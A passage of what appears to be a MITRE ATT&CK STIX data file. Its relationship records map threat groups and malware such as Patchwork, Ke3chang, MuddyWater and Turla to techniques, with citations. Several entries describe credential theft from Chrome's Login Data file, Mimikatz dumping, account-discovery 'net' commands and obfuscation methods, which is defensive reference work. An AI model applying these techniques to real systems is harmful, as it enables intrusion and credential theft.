                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Microsoft PLATINUM June 2017",
                    "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.101Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) dumped the login data database from <code>\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>.(Citation: Cymmetria Patchwork)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T23:53:59.896Z",
            "created": "2017-05-31T21:33:27.076Z"
        },
        {
            "id": "relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as <code>net localgroup administrators</code> and <code>net group \"REDACTED\" /domain</code> on specific permissions groups.(Citation: Villeneuve et al 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:08:42.465Z",
            "created": "2017-05-31T21:33:27.034Z"
        },
        {
            "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Microsoft administration tool csvde.exe to export Active Directory data.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:13:34.023Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[Bankshot](https://attack.mitre.org/software/S0239) grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.(Citation: McAfee Bankshot)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "type": "relationship",
            "modified": "2020-03-16T16:41:06.922Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46",
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            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the registered user and primary owner name via WMI.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.500Z",
            "created": "2017-05-31T21:33:27.073Z"
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        {
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            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.618Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d490bb02-7dfc-4808-8109-29a3871f830a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) achieves persistence by adding a shortcut of itself to the startup path in the Registry.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.004Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.144Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--021885d8-90a5-4d70-91de-869783cd57d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a .NET tool to dump data from Microsoft Exchange mailboxes.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.091Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
            "type": "relationship",
            "modified": "2020-01-24T13:41:32.704Z",
            "created": "2017-05-31T21:33:27.021Z"
        },
        {
            "id": "relationship--beda360a-6477-48b9-b7d1-4643d02bc3c9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002) and procdump64.exe.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2021-03-19T13:07:57.549Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used the command-line interface.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:34:24.626Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f6557436-3564-4128-b93e-2c246ec00834",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete files off the system.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.113Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47b7e027-4208-4ed6-b4ae-46941fed16be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MirageFox](https://attack.mitre.org/software/S0280) can collect CPU and architecture information from the victim\u2019s machine.(Citation: APT15 Intezer June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T01:59:01.631Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about process integrity levels.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.669Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to extract cached credentials from Windows systems.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.617Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--464e688d-b243-4619-a60b-1be6e2d6a827",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) is obfuscated using the open source ConfuserEx protector. [Kazuar](https://attack.mitre.org/software/S0265) also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.604Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a34d1e30-dcf5-4743-93e5-e4834e980f0f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-07-06T17:54:28.207Z",
            "created": "2017-05-31T21:33:27.021Z"
        },
        {
            "id": "relationship--998650da-f301-46be-ab18-38d14359530b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-12-17T18:57:21.333Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also searched for files matching the <code>lPH*.dll</code> pattern.(Citation: ESET Turla PowerShell May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-06-29T03:33:39.232Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--5096cf5d-aedb-49a5-baa7-4cc9538fa1cd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use cmd.exe to download and execute payloads and to execute commands on the system.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:30:08.937Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button.(Citation: FireEye FIN6 April 2016)(Citation: Trend Micro FIN6 October 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "source_name": "Trend Micro FIN6 October 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html",
                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-10-09T13:28:48.437Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "id": "relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If installing itself as a service fails, [Elise](https://attack.mitre.org/software/S0081) instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[4H RAT](https://attack.mitre.org/software/S0065) sends an OS version identifier in its beacons.(Citation: CrowdStrike Putter Panda)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T00:00:03.497Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bcdf2779-c5a2-40b3-88b6-0857711c1cfe",
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            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
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                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "(Citation: FireEye Periscope March 2018)",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.471Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "id": "relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797",
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            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about the logged on user both locally and for Remote Desktop sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.178Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
